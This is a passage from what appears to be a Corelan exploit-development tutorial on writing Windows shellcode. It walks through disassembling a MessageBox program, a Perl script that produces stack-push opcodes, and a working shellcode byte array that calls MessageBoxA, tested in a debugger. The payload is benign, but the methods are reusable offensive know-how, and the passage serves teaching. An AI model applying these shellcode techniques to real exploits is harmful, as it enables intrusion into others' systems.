border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb.png\" width=\"265\" height=\"171\" \/><\/a><\/p>\n<blockquote>\n<p>Note : As you can see, I used lcc-win32.&#160; The user32.dll library (required for MessageBox) appeared to get loaded automatically. If you use another compiler, you may need to add a LoadLibraryA(\u201cuser32.dll\u201d); call to make it work.<\/p>\n<\/blockquote>\n<p>Open the executable in the decompiler (IDA Free) (load PE Executable). After the analysis has been completed, this is what you\u2019ll get :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">.text:004012D4 ; \u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6 S U B R O U T I N E \u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\n.text:004012D4\n.text:004012D4 ; Attributes: bp-based frame\n.text:004012D4\n.text:004012D4                 public _main\n.text:004012D4 _main           proc near               ; CODE XREF: _mainCRTStartup+92p\n.text:004012D4                 push    ebp\n.text:004012D5                 mov     ebp, esp\n.text:004012D7                 push    0               ; uType\n.text:004012D9                 push    offset Caption  ; &quot;<span style=\"color: #8b0000\">Corelan<\/span>&quot;\n.text:004012DE                 push    offset Text     ; &quot;<span style=\"color: #8b0000\">You have been pwned by Corelan<\/span>&quot;\n.text:004012E3                 push    0               ; hWnd\n.text:004012E5                 call    _MessageBoxA@16 ; MessageBoxA(x,x,x,x)\n.text:004012EA                 mov     eax, 0\n.text:004012EF                 leave\n.text:004012F0                 retn\n.text:004012F0 _main           endp\n.text:004012F0\n.text:004012F0 ; ---------------------------------------------------------------------------<\/pre>\n<p>Alternatively, you can also load the executable in a debugger :<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image1.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb1.png\" width=\"635\" height=\"175\" \/><\/a><\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">004012D4  \/$ 55             PUSH EBP\n004012D5  |. 89E5           MOV EBP,ESP\n004012D7  |. 6A 00          PUSH 0                           ; \/Style = MB_OK|MB_APPLMODAL\n004012D9  |. 68 A0404000    PUSH corelan1.004040A0           ; |Title = &quot;<span style=\"color: #8b0000\">Corelan<\/span>&quot;\n004012DE  |. 68 A8404000    PUSH corelan1.004040A8           ; |Text = &quot;<span style=\"color: #8b0000\">You have been pwned by Corelan<\/span>&quot;\n004012E3  |. 6A 00          PUSH 0                           ; |hOwner = NULL\n004012E5  |. E8 3A020000    CALL &lt;JMP.&amp;USER32.MessageBoxA&gt;   ; \\MessageBoxA\n004012EA  |. B8 00000000    MOV EAX,0\n004012EF  |. C9             LEAVE\n004012F0  \\. C3             RETN<\/pre>\n<p>Ok, what do we see here ?<\/p>\n<p>1. the push ebp and mov ebp, esp instructions are used as part of the stack set up. We may not need them in our shellcode because we will be running the shellcode inside an already existing application, and we\u2019ll assume the stack has been set up correctly already. (This may not be true and in real life you may need to tweak the registers\/stack a bit to make your shellcode work, but that\u2019s out of scope for now)<\/p>\n<p>2. We push the arguments that will be used onto the stack, in reverse order.&#160;&#160; The Title (Caption) (0x004040A0) and MessageBox Text (0x004040A8) are taken from the .data section of our executable:<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image2.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb2.png\" width=\"655\" height=\"136\" \/><\/a> , the Button Style (MB_OK) and hOwner are just 0.<\/p>\n<p>3. We call the <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/ms645505(VS.85).aspx\" target=\"_blank\" rel=\"noopener\">MessageBoxA<\/a> Windows API (which sits in user32.dll)&#160; This API takes its 4 arguments from the stack.&#160; In case you used lcc-win32 and didn\u2019t really wonder why MessageBox worked : You can see that this function was imported from user32.dll by looking at the \u201cImports\u201d section in IDA. This is important. We will talk about this later on.<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image3.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb3.png\" width=\"443\" height=\"127\" \/><\/a><\/p>\n<p>(Alternatively, look at MSDN - you can find the corresponding Microsoft library at the bottom of the function structure page)<\/p>\n<p>4. We clean up and exit the application. We\u2019ll talk about this later on.<\/p>\n<p>&#160;<\/p>\n<p>In fact, we are not that far away from converting this to workable shellcode. If we take the opcode bytes from the output above, we have our basic shellcode. We only need to change a couple of things to make it work :<\/p>\n<ul>\n<li>Change the way the strings (\u201cCorelan\u201d as title and \u201cYou have been pwned by Corelan\u201d as text) are put onto the stack.&#160; In our example these strings were taken from the .data section of our C application.&#160; But when we are exploiting another application, we cannot use the .data section of that particular application (because it will contain something else). So we need to put the text onto the stack ourselves and pass the pointers to the text to the MessageBoxA function. <\/li>\n<li>Find the address of the MessageBoxA API and call it directly. Open user32.dll in IDA Free and look at the functions. On my XP SP3 box, this function can be found at 0x7E4507EA.&#160; This address will (most likely) be different on other versions of the OS, or even other service pack levels.&#160; We\u2019ll talk about how to deal with that later in this document.&#160; <\/li>\n<\/ul>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image4.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb4.png\" width=\"352\" height=\"240\" \/><\/a><\/p>\n<p>So a CALL to 0x7E4507EA will cause the MessageBoxA function to be launched, assuming that user32.dll was loaded\/mapped in the current process. We\u2019ll just assume it was loaded for now - we\u2019ll talk about loading it dynamically later on.&#160; <\/p>\n<p>&#160;<\/p>\n<h4>Converting asm to shellcode : Pushing strings to the stack &amp; returning pointer to the strings<\/h4>\n<p>1. Convert the string to hex<\/p>\n<p>2. Push the hex onto the stack (in reverse order). Don\u2019t forget the null byte at the end of the string and make sure everything is 4 byte aligned (so add some spaces if necessary)<\/p>\n<p>The following little script will produce the opcodes that will push a string to the stack (pvePushString.pl) :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">#!\/usr\/bin\/perl\n# Perl script written by Peter Van Eeckhoutte\n# http:<span style=\"color: #008000\">\/\/www.corelan.be<\/span>\n# This script takes a string as argument\n# and will produce the opcodes \n# to <span style=\"color: #0000ff\">push<\/span> this string onto the stack\n#\n<span style=\"color: #0000ff\">if<\/span> ($#ARGV ne 0) { \n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">  usage: $0 <\/span>&quot;.<span style=\"color: #0000ff\">chr<\/span>(34).&quot;<span style=\"color: #8b0000\">String to put on stack<\/span>&quot;.<span style=\"color: #0000ff\">chr<\/span>(34).&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;; \n<span style=\"color: #0000ff\">exit<\/span>(0); \n} \n#convert string to bytes\n<span style=\"color: #0000ff\">my<\/span> $strToPush=$ARGV[0];\n<span style=\"color: #0000ff\">my<\/span> $strThisChar=&quot;<span style=\"color: #8b0000\"><\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $strThisHex=&quot;<span style=\"color: #8b0000\"><\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $cnt=0;\n<span style=\"color: #0000ff\">my<\/span> $bytecnt=0;\n<span style=\"color: #0000ff\">my<\/span> $strHex=&quot;<span style=\"color: #8b0000\"><\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $strOpcodes=&quot;<span style=\"color: #8b0000\"><\/span>&quot;;\n<span style=\"color: #0000ff\">my<\/span> $strPush=&quot;<span style=\"color: #8b0000\"><\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">String length : <\/span>&quot; . <span style=\"color: #0000ff\">length<\/span>($strToPush).&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">Opcodes to push this string onto the stack :\\n\\n<\/span>&quot;;\nwhile ($cnt &lt; <span style=\"color: #0000ff\">length<\/span>($strToPush))\n{\n  $strThisChar=<span style=\"color: #0000ff\">substr<\/span>($strToPush,$cnt,1);\n  $strThisHex=&quot;<span style=\"color: #8b0000\">\\\\x<\/span>&quot;.ascii_to_hex($strThisChar);\n  <span style=\"color: #0000ff\">if<\/span> ($bytecnt &lt; 3)\n  {\n     $strHex=$strHex.$strThisHex;\n    $bytecnt=$bytecnt+1;\n  }\n  <span style=\"color: #0000ff\">else<\/span>\n  {\n    $strPush = $strHex.$strThisHex;\n    $strPush =~ tr\/\\\\x<span style=\"color: #008000\">\/\/d;<\/span>\n    $strHex=<span style=\"color: #0000ff\">chr<\/span>(34).&quot;<span style=\"color: #8b0000\">\\\\x68<\/span>&quot;.$strHex.$strThisHex.<span style=\"color: #0000ff\">chr<\/span>(34).\n   &quot;<span style=\"color: #8b0000\">    \/\/PUSH 0x<\/span>&quot;.<span style=\"color: #0000ff\">substr<\/span>($strPush,6,2).<span style=\"color: #0000ff\">substr<\/span>($strPush,4,2).\n   <span style=\"color: #0000ff\">substr<\/span>($strPush,2,2).<span style=\"color: #0000ff\">substr<\/span>($strPush,0,2);\n   \n    $strOpcodes=$strHex.&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;.$strOpcodes;\n    $strHex=&quot;<span style=\"color: #8b0000\"><\/span>&quot;;\n   $bytecnt=0;\n  }\n  $cnt=$cnt+1;\n}\n#<span style=\"color: #0000ff\">last<\/span> line\n<span style=\"color: #0000ff\">if<\/span> (<span style=\"color: #0000ff\">length<\/span>($strHex) &gt; 0)\n{\n  while(<span style=\"color: #0000ff\">length<\/span>($strHex) &lt; 12)\n  {\n    $strHex=$strHex.&quot;<span style=\"color: #8b0000\">\\\\x20<\/span>&quot;;\n  }\n  $strPush = $strHex;\n  $strPush =~ tr\/\\\\x<span style=\"color: #008000\">\/\/d;  <\/span>\n  $strHex=<span style=\"color: #0000ff\">chr<\/span>(34).&quot;<span style=\"color: #8b0000\">\\\\x68<\/span>&quot;.$strHex.&quot;<span style=\"color: #8b0000\">\\\\x00<\/span>&quot;.<span style=\"color: #0000ff\">chr<\/span>(34).&quot;<span style=\"color: #8b0000\">    \/\/PUSH 0x00<\/span>&quot;.\n  <span style=\"color: #0000ff\">substr<\/span>($strPush,4,2).<span style=\"color: #0000ff\">substr<\/span>($strPush,2,2).<span style=\"color: #0000ff\">substr<\/span>($strPush,0,2);\n  $strOpcodes=$strHex.&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;.$strOpcodes;\n}\n<span style=\"color: #0000ff\">else<\/span>\n{\n  #add line with spaces + null byte (string terminator)\n  $strOpcodes=<span style=\"color: #0000ff\">chr<\/span>(34).&quot;<span style=\"color: #8b0000\">\\\\x68\\\\x20\\\\x20\\\\x20\\\\x00<\/span>&quot;.<span style=\"color: #0000ff\">chr<\/span>(34).\n              &quot;<span style=\"color: #8b0000\">    \/\/PUSH 0x00202020<\/span>&quot;.&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;.$strOpcodes;\n}\n<span style=\"color: #0000ff\">print<\/span> $strOpcodes;\n\n\n<span style=\"color: #0000ff\">sub<\/span> ascii_to_hex ($)    \n{       \n   (<span style=\"color: #0000ff\">my<\/span> $str = <span style=\"color: #0000ff\">shift<\/span>) =~ s\/(.|\\n)\/sprintf(&quot;<span style=\"color: #8b0000\">%02lx<\/span>&quot;, <span style=\"color: #0000ff\">ord<\/span> $1)\/eg;       \n   <span style=\"color: #0000ff\">return<\/span> $str;    \n}<\/pre>\n<p>Example :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">C:\\shellcode&gt;perl pvePushString.pl\n  usage: pvePushString.pl &quot;<span style=\"color: #8b0000\">String to put on stack<\/span>&quot;\n\nC:\\shellcode&gt;perl pvePushString.pl &quot;<span style=\"color: #8b0000\">Corelan<\/span>&quot;\nString <span style=\"color: #0000ff\">length<\/span> : 7\nOpcodes to <span style=\"color: #0000ff\">push<\/span> this string onto the stack :\n\n&quot;<span style=\"color: #8b0000\">\\x68\\x6c\\x61\\x6e\\x00<\/span>&quot;    <span style=\"color: #008000\">\/\/PUSH 0x006e616c<\/span>\n&quot;<span style=\"color: #8b0000\">\\x68\\x43\\x6f\\x72\\x65<\/span>&quot;    <span style=\"color: #008000\">\/\/PUSH 0x65726f43<\/span>\n\nC:\\shellcode&gt;perl pvePushString.pl &quot;<span style=\"color: #8b0000\">You have been pwned by Corelan<\/span>&quot;\nString <span style=\"color: #0000ff\">length<\/span> : 30\nOpcodes to <span style=\"color: #0000ff\">push<\/span> this string onto the stack :\n\n&quot;<span style=\"color: #8b0000\">\\x68\\x61\\x6e\\x20\\x00<\/span>&quot;    <span style=\"color: #008000\">\/\/PUSH 0x00206e61<\/span>\n&quot;<span style=\"color: #8b0000\">\\x68\\x6f\\x72\\x65\\x6c<\/span>&quot;    <span style=\"color: #008000\">\/\/PUSH 0x6c65726f<\/span>\n&quot;<span style=\"color: #8b0000\">\\x68\\x62\\x79\\x20\\x43<\/span>&quot;    <span style=\"color: #008000\">\/\/PUSH 0x43207962<\/span>\n&quot;<span style=\"color: #8b0000\">\\x68\\x6e\\x65\\x64\\x20<\/span>&quot;    <span style=\"color: #008000\">\/\/PUSH 0x2064656e<\/span>\n&quot;<span style=\"color: #8b0000\">\\x68\\x6e\\x20\\x70\\x77<\/span>&quot;    <span style=\"color: #008000\">\/\/PUSH 0x7770206e<\/span>\n&quot;<span style=\"color: #8b0000\">\\x68\\x20\\x62\\x65\\x65<\/span>&quot;    <span style=\"color: #008000\">\/\/PUSH 0x65656220<\/span>\n&quot;<span style=\"color: #8b0000\">\\x68\\x68\\x61\\x76\\x65<\/span>&quot;    <span style=\"color: #008000\">\/\/PUSH 0x65766168<\/span>\n&quot;<span style=\"color: #8b0000\">\\x68\\x59\\x6f\\x75\\x20<\/span>&quot;    <span style=\"color: #008000\">\/\/PUSH 0x20756f59<\/span><\/pre>\n<p>&#160;<\/p>\n<p>Just pushing the text to the stack will not be enough.&#160; The MessageBoxA function (just like other windows API functions) expects a pointer to the text, not the text itself.. so we\u2019ll have to take this into account.&#160; The other 2 parameters however (hWND and Buttontype) should not be pointers, but just 0. So we need a different approach for those 2 parameters.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\"><span style=\"color: #0000ff\">int<\/span> MessageBox(          \n    HWND hWnd,\n    LPCTSTR lpText,\n    LPCTSTR lpCaption,\n    UINT uType\n);<\/pre>\n<p>=&gt; hWnd and uType are values taken from the stack,&#160; lpText and lpCaption are pointers to strings.<\/p>\n<h4>&#160;<\/h4>\n<h4>Converting asm to shellcode : pushing MessageBox arguments onto the stack<\/h4>\n<p>This is what we will do :<\/p>\n<ul>\n<li>put our strings on the stack and save the pointers to each text string in a register. So after pushing a string to the stack, we will save the current stack position in a register. We\u2019ll use ebx for storing the pointer to the Caption text, and ecx for the pointer to the messagebox text.&#160; Current stack position = ESP. So a simple mov ebx,esp&#160;&#160; or&#160;&#160;&#160; mov ecx,esp will do. <\/li>\n<li>set one of the registers to 0, so we can push it to the stack where needed (used as parameter for hWND and Button). Setting a register to 0 is as easy as performing XOR on itself&#160; (xor eax,eax) <\/li>\n<li>put the zero\u2019s and addresses in the registers (pointing to the strings) on the stack in the right order, in the right place <\/li>\n<li>call MessageBox (which will take the 4 first addresses from the stack and use the content of those registers as parameters to the MessageBox function) <\/li>\n<\/ul>\n<p>In addition to that, when we look at the MessageBox function in user32.dll, we see this :<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image5.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb5.png\" width=\"571\" height=\"177\" \/><\/a><\/p>\n<p>Apparently the parameters are taken from a location referred to by an offset from EBP (between EBP+8 and EBP+14). And EBP is populated with ESP at 0x7E4507ED. So that means we need to make sure our 4 parameters are positioned exactly at that location. This means that, based on the way we are pushing the strings onto the stack, we may need to push 4 more bytes to the stack before jumping to the MessageBox API.&#160; (Just run things through a debugger and you\u2019ll find out what to do)<\/p>\n<p>&#160;<\/p>\n<h4>Converting asm to shellcode : Putting things together<\/h4>\n<p>ok, here we go :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\"><span style=\"color: #0000ff\">char<\/span> code[] =\n<span style=\"color: #008000\">\/\/first put our strings on the stack<\/span>\n&quot;<span style=\"color: #8b0000\">\\x68\\x6c\\x61\\x6e\\x00<\/span>&quot;   <span style=\"color: #008000\">\/\/ Push &quot;Corelan&quot;<\/span>\n&quot;<span style=\"color: #8b0000\">\\x68\\x43\\x6f\\x72\\x65<\/span>&quot;   <span style=\"color: #008000\">\/\/  = Caption<\/span>\n&quot;<span style=\"color: #8b0000\">\\x8b\\xdc<\/span>&quot;               <span style=\"color: #008000\">\/\/ mov ebx,esp =<\/span>\n                         <span style=\"color: #008000\">\/\/   this puts a pointer to the caption into ebx<\/span>\n&quot;<span style=\"color: #8b0000\">\\x68\\x61\\x6e\\x20\\x00<\/span>&quot;   <span style=\"color: #008000\">\/\/ Push<\/span>\n&quot;<span style=\"color: #8b0000\">\\x68\\x6f\\x72\\x65\\x6c<\/span>&quot;   <span style=\"color: #008000\">\/\/ &quot;You have been pwned by Corelan&quot;<\/span>\n&quot;<span style=\"color: #8b0000\">\\x68\\x62\\x79\\x20\\x43<\/span>&quot;   <span style=\"color: #008000\">\/\/ = Text<\/span>\n&quot;<span style=\"color: #8b0000\">\\x68\\x6e\\x65\\x64\\x20<\/span>&quot;   <span style=\"color: #008000\">\/\/<\/span>\n&quot;<span style=\"color: #8b0000\">\\x68\\x6e\\x20\\x70\\x77<\/span>&quot;   <span style=\"color: #008000\">\/\/<\/span>\n&quot;<span style=\"color: #8b0000\">\\x68\\x20\\x62\\x65\\x65<\/span>&quot;   <span style=\"color: #008000\">\/\/<\/span>\n&quot;<span style=\"color: #8b0000\">\\x68\\x68\\x61\\x76\\x65<\/span>&quot;   <span style=\"color: #008000\">\/\/<\/span>\n&quot;<span style=\"color: #8b0000\">\\x68\\x59\\x6f\\x75\\x20<\/span>&quot;   <span style=\"color: #008000\">\/\/<\/span>\n&quot;<span style=\"color: #8b0000\">\\x8b\\xcc<\/span>&quot;               <span style=\"color: #008000\">\/\/ mov ecx,esp =<\/span>\n                         <span style=\"color: #008000\">\/\/    this puts a pointer to the text into ecx<\/span>\n\n<span style=\"color: #008000\">\/\/now put the parameters\/pointers onto the stack<\/span>\n<span style=\"color: #008000\">\/\/last parameter is hwnd = 0.<\/span>\n<span style=\"color: #008000\">\/\/clear out eax and push it to the stack<\/span>\n&quot;<span style=\"color: #8b0000\">\\x33\\xc0<\/span>&quot;   <span style=\"color: #008000\">\/\/xor eax,eax =&gt; eax is now 00000000<\/span>\n&quot;<span style=\"color: #8b0000\">\\x50<\/span>&quot;       <span style=\"color: #008000\">\/\/push eax<\/span>\n<span style=\"color: #008000\">\/\/2nd parameter is caption. Pointer is in ebx, so push ebx<\/span>\n&quot;<span style=\"color: #8b0000\">\\x53<\/span>&quot;\n<span style=\"color: #008000\">\/\/next parameter is text. Pointer to text is in ecx, so do push ecx<\/span>\n&quot;<span style=\"color: #8b0000\">\\x51<\/span>&quot;\n<span style=\"color: #008000\">\/\/next parameter is button (OK=0). eax is still zero<\/span>\n<span style=\"color: #008000\">\/\/so push eax<\/span>\n&quot;<span style=\"color: #8b0000\">\\x50<\/span>&quot;\n<span style=\"color: #008000\">\/\/stack is now set up with 4 pointers<\/span>\n<span style=\"color: #008000\">\/\/but we need to add 8 more bytes to the stack<\/span>\n<span style=\"color: #008000\">\/\/to make sure the parameters are read from the right<\/span>\n<span style=\"color: #008000\">\/\/offset<\/span>\n<span style=\"color: #008000\">\/\/we'll just add anoter push eax instructions to align<\/span>\n&quot;<span style=\"color: #8b0000\">\\x50<\/span>&quot;\n<span style=\"color: #008000\">\/\/ call the function<\/span>\n&quot;<span style=\"color: #8b0000\">\\xc7\\xc6\\xea\\x07\\x45\\x7e<\/span>&quot;   <span style=\"color: #008000\">\/\/ mov esi,0x7E4507EA<\/span>\n&quot;<span style=\"color: #8b0000\">\\xff\\xe6<\/span>&quot;;  <span style=\"color: #008000\">\/\/jmp esi = launch MessageBox<\/span><\/pre>\n<p>&#160;<\/p>\n<blockquote>\n<p>Note : you can get the opcodes for simple instructions using the <a href=\"https:\/\/github.com\/corelan\/mona\" target=\"_blank\" rel=\"noopener\">!pvefindaddr PyCommand for Immunity Debugger<\/a>.<\/p>\n<p>Example :<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image12.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb12.png\" width=\"591\" height=\"176\" \/><\/a><\/p>\n<p>Alternatively, you can use nasm_shell from the Metasploit tools folder to assemble instructions into opcode :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 499px; padding-right: 5px; height: 80px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">xxxx@bt4:\/pentest\/exploits\/framework3\/tools# .\/nasm_shell.rb \nnasm &gt; xor eax,eax\n00000000  31C0              xor eax,eax\nnasm &gt; quit<\/pre>\n<p>&#160;<\/p>\n<\/blockquote>\n<p>Back to the shellcode.&#160; Paste this c array in the \u201cshellcodetest.c\u201d application (see c source in the \u201cBasics\u201d section of this post), make and compile.<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image13.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb13.png\" width=\"394\" height=\"440\" \/><\/a><\/p>\n<p>Then load the shellcodetest.exe application in Immunity Debugger and set a breakpoint where the main() function begins (in my case, this is 0x004012D4). Then press F9 and the debugger should hit the breakpoint.<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image6.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb6.png\" width=\"422\" height=\"471\" \/><\/a><\/p>\n<p>Now step through (F7), and at a certain point, a call to [ebp-4] is made. This is the call to executing our shellcode - corresponding with the (int)(*func)();&#160; statement in our C source.<\/p>\n<p>Right after this call is made, the CPU view in the debugger looks like this :<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image7.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb7.png\" width=\"582\" height=\"239\" \/><\/a><\/p>\n<p>This is indeed our shellcode. First we push \u201cCorelan\u201d to the stack and we save the address in EBX.&#160; Then we push the other string to the stack and save the address in ECX.<\/p>\n<p>Next, we clear eax (set eax to 0), and then we push 4 parameters to the stack : first zero (push eax), then pointer to the Title (push ebx), then pointer to the MessageText (push ecx), then zero again (push eax). Then we push another 4 bytes to the stack (alignment). Finally we put the address of MessageBoxA into ESI and we jump to ESI.<\/p>\n<p>Press F7 until JMP ESI is reached and executed. Right after JMP ESI is made, look at the stack :<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image8.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb8.png\" width=\"487\" height=\"96\" \/><\/a><\/p>\n<p>That is exactly what we expected. Continue to press F7 until you have reached the CALL USER32.MessageBoxExA instruction (just after the 5 PUSH operations,&#160; which push the parameters to the stack).&#160; The stack should now (again) point to the correct parameters)<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image9.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb9.png\" width=\"601\" height=\"145\" \/><\/a><\/p>\n<p>Press F9 and you should get this :<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image10.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb10.png\" width=\"424\" height=\"175\" \/><\/a><\/p>\n<p>Excellent ! Our shellcode works !<\/p>\n<p>Another way to test our shellcode is by using skylined\u2019s \u201cTestival\u201d tool. Just write the shellcode to a bin file (using pveWritebin.pl), and then run Testival. We\u2019ll assume you have written the code to shellcode.bin :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #f0f0f0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">w32-testival [$]=ascii:shellcode.bin eip=$<\/pre>\n<p>(don\u2019t be surprised that this command will&#160; just produce a crash - I will explain why that happens in a little while)<\/p>\n<p>&#160;<\/p>\n<h3>That was easy. So that\u2019s all there\u2019s to it ?<\/h3>\n<p>Unfortunately not.&#160; There are some <strong>MAJOR <\/strong>issues with our shellcode :<\/p>\n<ol>\n<li>The shellcode calls the MessageBox function, but does not properly clean up\/exit after the function has been called.&#160; So when the MessageBox function returns, the parent process may just die\/crash instead of exiting properly (or instead of not crashing at all, in case of a real exploit).&#160; Ok, this is not a major issue, but it still can be an issue. <\/li>\n<li>The shellcode contains null bytes.&#160; So if we want to 